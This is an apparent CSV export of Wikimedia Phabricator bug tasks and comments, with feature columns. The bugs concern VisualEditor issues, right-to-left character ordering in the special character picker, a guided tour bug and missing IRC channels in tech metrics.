+**Attached**: {F11697}",Low,25.0,1379640720,1433607117.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-cqgpkdfnpdapeshycn57,task_description,duplicate,True,c1,3,False,False,False,11,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+249297,VisualEditor: OpenSearch results aren't perfect for searching for pages (some don't come up),"Actually, merging this into bug 51013 for actioning.
+
+*** This bug has been marked as a duplicate of bug 51013 ***",,,1410985568,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cqgpkdfnpdapeshycn57,task_subcomment,,True,c1,3,True,,,63,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+249294,VisualEditor: OpenSearch results aren't perfect for searching for pages (some don't come up),*** Bug 67150 has been marked as a duplicate of this bug. ***,,,1406753647,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cqgpkdfnpdapeshycn57,task_subcomment,,True,c1,3,True,,,56,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+249288,VisualEditor: OpenSearch results aren't perfect for searching for pages (some don't come up),*** Bug 62804 has been marked as a duplicate of this bug. ***,,,1395185089,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-cqgpkdfnpdapeshycn57,task_subcomment,,True,c1,3,False,,,37,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+56315,VisualEditor: Enwiki's {{divstyleamber}} (used in a parameter) turns into mw:ExpandedAttrs in Parsoid which VE doesn't handle yet.,"Although it can't be used in articles, it is widely used elsewhere, including userpages.
+If you try and VEdit https://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&oldid=573626556 you'll notice that this reflects in reference numbering being incorrect, since the ones in the divbox will be ignored.
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54803",Low,25.0,1379590260,,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-dxrqwnd4epgrwlipk5o2,task_description,open,True,c1,3,False,False,,11,,0,0,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+246683,VisualEditor: Enwiki's {{divstyleamber}} (used in a parameter) turns into mw:ExpandedAttrs in Parsoid which VE doesn't handle yet.,"Another issue:
+<<Open a page with {{divbox|amber|test|Test content.}} Click on the divbox, open the template dialogue. Click on ""apply changes"". Divbox disappears.>>
+
+If you want to test this, VEdit https://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&oldid=573628652 .",,,1379591181,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-dxrqwnd4epgrwlipk5o2,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+246677,VisualEditor: Enwiki's {{divstyleamber}} (used in a parameter) turns into mw:ExpandedAttrs in Parsoid which VE doesn't handle yet.,"My previous comment was related to a page containing <div style=""{{divstyleamber}}"">Content.</div>, which can not be edited.",,,1379591096,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-dxrqwnd4epgrwlipk5o2,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1
+56310,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Incorrect reversed display of non Latin characters
+
+Please see the attached image and Bugs #54308 & #54309.
+
+By this time I resigned to utilize the advanced toolbar and after making an attempt, I feel very cynical because this effort is totally useless. There is a lot to be said for programmers and developers learning to proofread a chapter or so of text, to see how their ideas are working in the real world.
+
+In the first place, It takes several steps to hide the header to gain additional viewing space or access various features. 
+
+Finally, The non-Latin characters, like Hebrew and Arabic were inserted from left to right. For those who don't understand, that's the equivalent of displaying Latin characters from right to left, as in: . . . . L K J I H G F E D C B A
+
+In view of my previous posts, please consider correcting this ASAP.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11606}",Low,25.0,1379579460,1520505237.0,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-yj6unjc6sotp4kv2mflx,task_description,resolved,True,c1,3,False,False,False,11,,1,0,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+1025949,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Change 414961 **merged** by jenkins-bot:
+[mediawiki/extensions/WikiEditor@master] Use display:inline-block for special character buttons
+
+[[https://gerrit.wikimedia.org/r/414961]]",,,1520269897,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,244,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1023626,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Change 415286 **merged** by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] fetchSpecialCharList: Set directionality
+
+[[https://gerrit.wikimedia.org/r/415286]]",,,1519948593,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,243,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1023389,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Change 415374 **merged** by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (f5c88eb30)
+
+[[https://gerrit.wikimedia.org/r/415374]]",,,1519932738,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,243,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1022553,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Change 415374 had a related patch set uploaded (by Jforrester; owner: Jforrester):
+[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (bdb1a680a)
+
+[[https://gerrit.wikimedia.org/r/415374]]",,,1519848137,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,243,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1022522,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Change 415281 **merged** by jenkins-bot:
+[VisualEditor/VisualEditor@master] SpecialCharacterPage: Allow setting lang/dir via special attributes property
+
+[[https://gerrit.wikimedia.org/r/415281]]",,,1519846076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,243,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1022185,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Change 415286 had a related patch set uploaded (by Esanders; owner: Esanders):
+[mediawiki/extensions/VisualEditor@master] fetchSpecialCharList: Set directionality
+
+[[https://gerrit.wikimedia.org/r/415286]]",,,1519825824,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,243,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1022180,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Change 415281 had a related patch set uploaded (by Esanders; owner: Esanders):
+[VisualEditor/VisualEditor@master] SpecialCharacterPage: Allow setting lang/dir via special attributes property
+
+[[https://gerrit.wikimedia.org/r/415281]]",,,1519825655,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,243,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+1020929,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"I set the CSS float to right for RTL languages.
+
+If this is done for WikiEditor, then it must also be updated in the VE special character editor. There is will be easier: the lang and dir attributes must simply set on the `<div>` that wraps all the characters `<span>` tags.",,,1519718525,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,243,,1,0,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1
+1020926,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Change 414961 had a related patch set uploaded (by Amire80; owner: Amire80):
+[mediawiki/extensions/WikiEditor@master] Order right-to-left alphabets from right-to-left in the special character selector
+
+[[https://gerrit.wikimedia.org/r/414961]]",,,1519718250,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,243,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+246469,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"**yesod22** wrote:
+
+Hi. The only input I can give is that as a bi-lingual english hebrew speaker being forced with the option of having english displayed RTL or hebrew displayed LTR is CERTAINLY not desired. I'd much prefer having each language displayed in it's natural order - as it's supposed to be.
+
+The idea of displaying Hebrew or Arabic from LTR because that's the expectation of an english speaker reminds me of a joke by Louis CK on how the pilgrims named the natives ""Indians"" despite the fact that they had nothing to do with India :-) (see youtube). A language should be displayed in it's order - not in the order of what a non-native speaker would like it to be :-)
+
+blessings, Daniel",,,1380213955,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,12,,1,0,0,1,1,1,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+246461,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Michael M., Please point me to the page on en.Wikipedia where RTL characters show up correctly. I just implemented the WikiEditor on en. Wikipedia and RTL characters were displayed in LTR order. Then, I am curious as to how do you know what is the expectation of the users???",,,1379680638,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,0
+246457,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Reopening: I looked at en.wikipedia and de.wikipedia. Both have a set of special characters *below* the editbox, which isn't part of MediaWiki, but developed by the communities. In both cases the characters of RTL languages are shown from right to left, so even if this behavior of WikiEditor is intended (which I doubt), it is wrong based on the expectation of its users.",,,1379664481,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+246451,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Andre, the user's language settings should not affect the character sets. They should be displayed in their natural order regardless of the user's language preferences.",,,1379623385,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+246446,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Confirming what you see. Hebrew letters Alef and Bet are on the left. 
+
+I am pretty sure that this is intended and that it depends on your personal language settings in https://en.wikisource.org/wiki/Special:Preferences#mw-prefsection-personal-i18n because depending on your ""primary"" language you are used to either expect the first letter on the left (LTR) or on the right (RTL).
+
+It's the same the other way round: 
+Looking at the Cyrillic character section with the interface language set to Hebrew (by simply adding &uselang=he to the URL), I also get the Russian alphabet from right to left, while Russian is a left to right language.",,,1379586269,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,0,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+56297,VisualEditor: ResizableNode should show numeric dimensions when resizing.,"In a status bar/next to the cursor/on the image
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1379549160,1382026579.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-db7owolkladsvbupsv7m,task_description,resolved,True,c1,3,True,False,False,11,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+245576,VisualEditor: ResizableNode should show numeric dimensions when resizing.,"Change 85970 merged by jenkins-bot:
+Show a label with the current dimensions while resizing
+
+https://gerrit.wikimedia.org/r/85970",,,1382007456,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-db7owolkladsvbupsv7m,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+245570,VisualEditor: ResizableNode should show numeric dimensions when resizing.,"Change 85970 had a related patch set uploaded by Esanders:
+Show a label with the current dimensions while resizing
+
+https://gerrit.wikimedia.org/r/85970",,,1380109182,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-db7owolkladsvbupsv7m,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+245563,VisualEditor: ResizableNode should show numeric dimensions when resizing.,"Created attachment 13376
+Screenshot of implementation
+
+**Attached**: {F11558}",,,1380109052,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-db7owolkladsvbupsv7m,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+56259,"VisualEditor: VE ""edit"" link in section edit links of a remote file tries to create a new page on local wiki, not remote section","Example image: https://www.mediawiki.org/wiki/File:MassMessage_submitted.png
+
+Clicking on ""edit"" takes you to <https://www.mediawiki.org/wiki/File:MassMessage_submitted.png?veaction=edit&vesection=1>
+
+Clicking on ""edit source"" tags you to <https://commons.wikimedia.org/w/index.php?title=File:MassMessage_submitted.png&action=edit&section=1>
+
+The 'edit' link should take you to commons and somehow gracefully fallback on the wikitext editor since VE is not enabled.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**URL**: https://www.mediawiki.org/wiki/File:MassMessage_submitted.png
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=62071",Low,25.0,1379486100,1398711424.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-wwi2e2vktmnorzseurla,task_description,resolved,True,c1,3,False,False,False,11,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+243336,"VisualEditor: VE ""edit"" link in section edit links of a remote file tries to create a new page on local wiki, not remote section","Change 130082 merged by jenkins-bot:
+Don't change section edit links on foreign file description pages
+
+https://gerrit.wikimedia.org/r/130082",,,1398711188,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wwi2e2vktmnorzseurla,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+243330,"VisualEditor: VE ""edit"" link in section edit links of a remote file tries to create a new page on local wiki, not remote section","Change 130082 had a related patch set uploaded by Alex Monk:
+Don't change section edit links on foreign file description pages
+
+https://gerrit.wikimedia.org/r/130082",,,1398697756,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wwi2e2vktmnorzseurla,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+56248,Clicking VE edit after starting the wikitext 'firstedit' tour produces an incorrect step,"**Author:** `swalling`
+
+**Description:**
+Screenshot
+
+If you start ?tour=firstedit and then click veaction=edit, you get the wikitext-related Preview step unattached (see screenshot).
+
+This is a low priority issue, because users should only be getting the wikitext 'firstedit' tour if VE is not available. I am filing just in case the opposite situation might happen, i.e. users start a ?tour=vefirstedit, click Edit source, then get the VE tour step. If that's impossible, then this can be ignored for now.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11439}",Low,25.0,1379459220,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-7sgyl2imvttq6da7zqhg,task_description,open,True,c1,3,False,False,,11,,0,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,1
+242720,Clicking VE edit after starting the wikitext 'firstedit' tour produces an incorrect step,"If you look at firstedit tour definition, you'll see that shouldSkip is set to call isEditing() Calling gt.isEditing() checks to see if you are either editing with wikitext or if the VisualEditor is loaded.  However the tour step loads before ve is actually loaded.
+
+IMO: isEditing needs to return true if VisualEditor is loading or loaded.  
+Locally this fixes the bug for me.  I probably will make a patch for this.",,,1399496465,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-7sgyl2imvttq6da7zqhg,task_subcomment,,True,c1,3,False,,,44,,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+242715,Clicking VE edit after starting the wikitext 'firstedit' tour produces an incorrect step,"Change 84735 had a related patch set uploaded by Mattflaschen:
+Declare tour as requiring wikitext, but it doesn't work yet.
+
+https://gerrit.wikimedia.org/r/84735",,,1379495165,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sgyl2imvttq6da7zqhg,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+242710,Clicking VE edit after starting the wikitext 'firstedit' tour produces an incorrect step,"I was wrong about it being an easy fix.  As far as I can tell, this never worked (wikitext tours not being loaded for VisualEditor).  There are two different scenarios, which don't work for different reasons.
+
+However, it will work in the other direction (which is probably why I didn't catch this bug earlier): If it's a VE tour it will not show in the wikitext editor.
+
+I will fix this properly, but it looks like it may require some refactoring to do right.",,,1379495139,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-7sgyl2imvttq6da7zqhg,task_subcomment,,True,c1,3,True,,,11,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+242706,Clicking VE edit after starting the wikitext 'firstedit' tour produces an incorrect step,"Oh, I forgot the showConditionally.  This is a trivial fix, and I'll do it tonight.",,,1379459453,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-7sgyl2imvttq6da7zqhg,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+56230,Tech metrics missing IRC channels,"Currently there are only 4 IRC channels being scanned at 
+
+http://korma.wmflabs.org/browser/irc-repos.html
+
+https://meta.wikimedia.org/wiki/IRC/Channels#MediaWiki_and_technical contains the list of tech channels
+
+#pywikipediabot should be added as well in order to keep consistency with https://wikitech.wikimedia.org/wiki/Key_Wikimedia_software_projects
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1379440500,1445360976.0,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-ylv5ntuga7adnifnjbdx,task_description,resolved,True,c1,3,False,False,False,11,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
